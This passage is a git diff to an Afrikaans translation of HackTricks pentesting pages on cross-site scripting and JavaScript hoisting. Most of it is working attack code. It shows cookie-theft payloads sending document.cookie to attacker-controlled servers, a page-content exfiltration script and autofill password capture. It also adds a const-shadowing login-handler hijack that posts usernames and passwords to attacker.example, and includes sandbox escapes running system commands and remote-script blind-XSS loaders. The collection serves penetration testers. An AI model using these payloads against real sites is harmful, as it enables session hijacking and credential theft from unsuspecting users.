-Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word. Die aanvaller kan [**spesiale string vervangings**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om te probeer om sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om sekere beskermings te probeer omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string** binne 'n skrip te ontsnap en arbitrêre kode uit te voer.
+Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string te ontsnap** binne 'n script en arbitrêre kode uit te voer.
 
 ### Chrome Cache na XSS
 
@@ -960,9 +993,9 @@ Byvoorbeeld in [**hierdie skrywe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YAC
 chrome-cache-to-xss.md
 {{#endref}}
 
-### XS Jails Ontsnapping
+### XS Jails Escape
 
-As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail probleme:
+As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail-probleme:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -993,22 +1026,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-As **alles is onbepaald** voordat onbetroubare kode uitgevoer word (soos in [**hierdie skrywe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
+As **alles is undefined** voordat onbetroubare kode uitgevoer word (soos in [**hierdie writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige objekte "uit die niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
 
-- Deur gebruik te maak van import()
+- Deur import() te gebruik
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
 - Toegang tot `require` indirek
 
-[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js binne 'n funksie toegedraai, soos volg:
+[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
+Dus, as ons vanaf daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om toegang tot **`require`** te kry:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1017,7 +1050,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
+Op 'n soortgelyke wyse as die vorige voorbeeld is dit moontlik om **use error handlers** te gebruik om toegang tot die **wrapper** van die module te kry en die **`require`** funksie te verkry:
 ```javascript
 try {
 null.f()
@@ -1055,9 +1088,9 @@ console.log(req("child_process").execSync("id").toString())
 }
 trigger()
 ```
-### Obfuscation & Advanced Bypass
+### Obfuskering & Gevorderde Omseiling
 
-- **Verskillende obfuscasies op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Verskillende obfuskeringe op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@@ -1236,7 +1269,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS algemene payloads
+## XSS common payloads
 
 ### Verskeie payloads in 1
 
@@ -1245,16 +1278,16 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 steal-info-js.md
 {{#endref}}
 
-### Iframe Val
+### Iframe Trap
 
-Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
+Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Herwin Koekies
+### Haal Cookies op
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1277,9 +1310,9 @@ Laat die gebruiker toe om in die bladsy te navigeer sonder om 'n iframe te verla
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Jy **sal nie in staat wees om die koekies vanaf JavaScript te bekom nie** as die HTTPOnly-vlag in die koekie gestel is. Maar hier is ['n paar maniere om hierdie beskerming te omseil](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
+> Jy **sal nie vanuit JavaScript toegang tot die cookies kan kry** as die HTTPOnly-flag in die cookie gestel is nie. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
 
-### Steel Bladsy Inhoud
+### Steel Bladsyinhoud
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1292,7 +1325,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### Vind interne IP's
+### Vind interne IPs
 ```html
 <script>
 var q = []
@@ -1368,15 +1401,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Kort tye dui 'n antwoordende poort aan_ _Langere tye dui geen antwoord aan._
+_Korte tye dui op 'n reagerende port_ _Langere tye dui op geen reaksie nie._
 
-Kyk na die lys van poorte wat in Chrome verbied is [**hier**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**hier**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Hersien die lys van ports wat in Chrome geblokkeer is [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Bokse om vir akrediteer te vra
+### Boks om credentials te vra
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Auto-vul wagwoorde vang
+### Auto-fill wagwoordvaslegging
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1387,18 +1420,33 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Wanneer enige data in die wagwoordveld ingevoer word, word die gebruikersnaam en wagwoord na die aanvaller se bediener gestuur, selfs al kies die kliënt 'n gestoor wagwoord en skryf niks nie, sal die geloofsbriewe uitgelekt word.
+Wanneer enige data in die password-veld ingevoer word, word die username en password na die attackers server gestuur; selfs as die kliënt 'n gestoor password kies en niks intik nie, sal die credentials ge-exfiltrateer word.
 
-### Sleutellogger
+### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-Net deur in github te soek, het ek 'n paar verskillende gevind:
+As 'n kritieke handler (bv., `function DoLogin(){...}`) later op die bladsy verklaar word, en jou payload vroeër loop (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler vooraf te gryp en te sluit. Latere function declarations kan nie 'n `const`-naam herbinde nie, wat jou hook in beheer laat:
+```javascript
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value);
+const user = Trim(FormInput.InputUtente.value);
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
+};
+```
+Notes
+- Dit berus op die uitvoeringsorde: jou injection moet uitgevoer word voordat die legitieme deklarasie.
+- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herbindbare binding te verseker.
+- Wanneer sleutelwoordfilters kode blokkeer, kombineer met Unicode-escaped identifiers of `eval(atob('...'))` delivery, soos hierbo getoon.
+
+### Keylogger
+
+Net deur in github te soek het ek 'n paar verskillende gevind:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - Jy kan ook metasploit `http_javascript_keylogger` gebruik
 
-### Diefstal van CSRF tokens
+### Stealing CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1421,28 +1469,28 @@ window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
 </script>
 ```
-### Misbruik van Dienswerkers
+### Misbruik van Service Workers
 
 
 {{#ref}}
 abusing-service-workers.md
 {{#endref}}
 
-### Toegang tot Skadu DOM
+### Toegang tot Shadow DOM
 
 
 {{#ref}}
 shadow-dom.md
 {{#endref}}
 
-### Polyglotte
+### Polyglots
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### Blinde XSS lasladinge
+### Blind XSS payloads
 
 Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
 ```html
@@ -1509,9 +1557,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 <!-- In case your target makes use of AngularJS -->
 {{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
-### Regex - Toegang tot Verborgen Inhoud
+### Regex - Toegang tot verborge inhoud
 
-Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende objekte te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1528,7 +1576,7 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force Lys
+### Brute-Force List
 
 
 {{#ref}}
@@ -1539,40 +1587,50 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ### XSS in Markdown
 
-Kan Markdown kode inspuit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
+Kan jy Markdown-kode insit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS na SSRF
+### XSS to SSRF
 
-Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer **dit opgradeer na SSRF** deur Edge Side Include Injection met hierdie payload:
+Het jy XSS op 'n **site wat caching gebruik**? Probeer dit **opgradeer na SSRF** deur Edge Side Include Injection met hierdie payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Gebruik dit om koekiebeperkings, XSS-filters en nog baie meer te omseil!\
+Gebruik dit om cookie-beperkings, XSS-filters en nog baie meer te omseil!\
 Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
 ### XSS in dinamies geskepte PDF
 
-As 'n webblad 'n PDF genereer met gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF genereer om **arbitraire JS-kode** te **uit te voer**.\
-As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
+As 'n webblad 'n PDF skep met gebruikersbeheerde insette, kan jy probeer om die **PDF creator bot** wat die PDF skep, te **mislei** sodat dit **arbitrêre JS-kode uitvoer**.\
+As die **PDF creator bot** enige soort **HTML** **tags** vind, sal dit hulle **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
+
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer om **PDF-data** te **inspuit**:
+As jy nie HTML-tags kan injekteer nie, kan dit die moeite werd wees om te probeer om **PDF-data in te voeg**:
+
 
 {{#ref}}
 pdf-injection.md
 {{#endref}}
 
-### XSS om lêers op te laai (svg)
+### XSS in Amp4Email
 
-Laai 'n lêer soos die volgende op as 'n beeld (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+AMP, wat daarop gemik is om webbladprestasie op mobiele toestelle te versnel, inkorporeer HTML-tags aangevul met JavaScript om funksionaliteit te verseker met klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
+
+Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei sekere AMP-komponente uit na e-posse, wat ontvangers toelaat om direk binne hul e-posse met inhoud te interaksie.
+
+Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+
+### XSS by die oplaai van lêers (svg)
+
+Laai as 'n beeld 'n lêer op soos die volgende een (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1630,7 +1688,7 @@ id="foo"/>
 ```
 Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Verskeie JS Triks & Relevante Inligting
+## Verskeie JS-truuks & Relevante Inligting
 
 
 {{#ref}}
@@ -1646,4 +1704,9 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
+## Verwysings
+
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index d0f0723bb..5addf27cb 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basiese Inligting
+## Basic Information
 
-In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf waar verklarings van veranderlikes, funksies, klasse, of invoere konseptueel na die bokant van hul omvang verhef word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skrip in verskeie passe gaan.
+In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf, waar verklarings van variables, functions, classes of imports konseptueel na die bokant van hul scope verskuif word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript engine uitgevoer, wat die skrip in verskeie passe deurloop.
 
-Tydens die eerste pas, ontleed die enjin die kode om te kyk vir sintaksisfoute en transformeer dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoeringskonteks verskuif word. As die ontledingsfase suksesvol is, wat aandui dat daar geen sintaksisfoute is nie, gaan die skripuitvoering voort.
+Tydens die eerste pas parse die engine die kode om na syntax errors te kyk en dit in 'n abstract syntax tree te transformeer. Hierdie fase sluit hoisting in, 'n proses waar sekere declarations na die top van die execution context beweeg word. As die parsing-fase suksesvol is, wat aandui dat daar geen syntax errors is nie, gaan die skrip se uitvoering voort.
 
-Dit is van kardinale belang om te verstaan dat:
+Dit is belangrik om te verstaan dat:
 
-1. Die skrip moet vry wees van sintaksisfoute vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.
-2. Die plasing van kode binne die skrip beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy teksuele voorstelling.
+1. Die skrip moet vry van syntax errors wees voordat uitvoering kan plaasvind. Syntax-reëls moet streng nageleef word.
+2. Die plasing van kode binne die skrip beïnvloed uitvoering weens hoisting, selfs al kan die uitgevoerde kode verskil van sy tekstuele voorstelling.
 
-#### Tipes Hoisting
+#### Types of Hoisting
 
-Gebaseer op die inligting van MDN, is daar vier duidelike tipes hoisting in JavaScript:
+Volgens MDN is daar vier uiteenlopende tipes hoisting in JavaScript:
 
-1. **Waarde Hoisting**: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat sy verklaringlyn.
-2. **Verklaring Hoisting**: Laat die verwysing na 'n veranderlike binne sy omvang toe voordat sy verklaring plaasvind sonder om 'n `ReferenceError` te veroorsaak, maar die veranderlike se waarde sal `undefined` wees.
-3. Hierdie tipe verander die gedrag binne sy omvang as gevolg van die veranderlike se verklaring voordat sy werklike verklaringlyn.
-4. Die neveneffekte van die verklaring vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.
+1. **Value Hoisting**: Maak dit moontlik om 'n variable se waarde binne sy scope te gebruik voor die lyn van deklarasie.
+2. **Declaration Hoisting**: Laat toe om 'n variable binne sy scope te verwys voor die deklarasie sonder om 'n `ReferenceError` te veroorsaak, maar die variable se waarde sal `undefined` wees.
+3. Hierdie tipe verander die gedrag binne sy scope omdat die variable se deklarasie voor sy werklike deklarasielyn voorkom.
+4. Die deklarasie se newe-effekte gebeur voordat die res van die kode wat dit bevat geëvalueer word.
 
-In detail, funksieverklarings toon tipe 1 hoisting gedrag. Die `var` sleutelwoord demonstreer tipe 2 gedrag. Lexikale verklarings, wat `let`, `const`, en `class` insluit, toon tipe 3 gedrag. Laastens, `import` verklarings is uniek in die sin dat hulle met beide tipe 1 en tipe 4 gedrag gehoist word.
+In meer detail vertoon function declarations tipe 1 hoisting-gedrag. Die `var` sleutelwoord demonstreer tipe 2-gedrag. Lexical declarations, wat `let`, `const`, en `class` insluit, vertoon tipe 3-gedrag. Laastens is `import` statements uniek omdat hulle met beide tipe 1 en tipe 4 gedrag gehys word.
 
-## Scenario's
+## Scenarios
 
-Daarom, as jy scenario's het waar jy **JS kode kan inspuit nadat 'n nie-verklaarde objek** gebruik is, kan jy **die sintaksis regmaak** deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
+Indien jy dus scenarios het waar 'n undeclared object gebruik word en jy kan **Inject JS code after an undeclared object**, kan jy die sintaksis **fix the syntax** deur dit te declare (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -68,7 +68,7 @@ alert(1);
 test.cookie("leo", "INJECTION")
 test[("cookie", "injection")]
 ```
-## Meer Scenario's
+## Meer scenario's
 ```javascript
 // Undeclared var accessing to an undeclared method
 x.y(1,INJECTION)
@@ -127,11 +127,31 @@ alert(1) -
 },
 })
 }
+trigger()
 ```
+### Voorkom latere deklarasies deur 'n naam met const te sluit
+
+As jy kan uitvoer voordat 'n top-level `function foo(){...}` gepars is, sal die verklaring van 'n leksikale binding met dieselfde naam (bv. `const foo = ...`) verhinduer dat die latere function-verklaring daardie identifiseerder herbind. Hierdie tegniek kan in RXSS misbruik word om kritieke handlers wat later op die bladsy gedefinieer is, te kap:
+```javascript
+// Malicious code runs first (e.g., earlier inline <script>)
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value)
+const user = Trim(FormInput.InputUtente.value)
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
+}
+
+// Later, the legitimate page tries to declare:
+function DoLogin(){ /* ... */ } // cannot override the existing const binding
+```
+Aantekeninge
+- Dit berus op uitvoeringvolgorde en globale (top-level) scope.
+- As jou payload binne `eval()` uitgevoer word, onthou dat `const/let` binne `eval` block-scoped is en nie globale bindings sal skep nie. Inject 'n nuwe `<script>` element met die kode om 'n ware globale `const` te vestig.
+
 ## Verwysings
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 
 {{#include ../../banners/hacktricks-training.md}}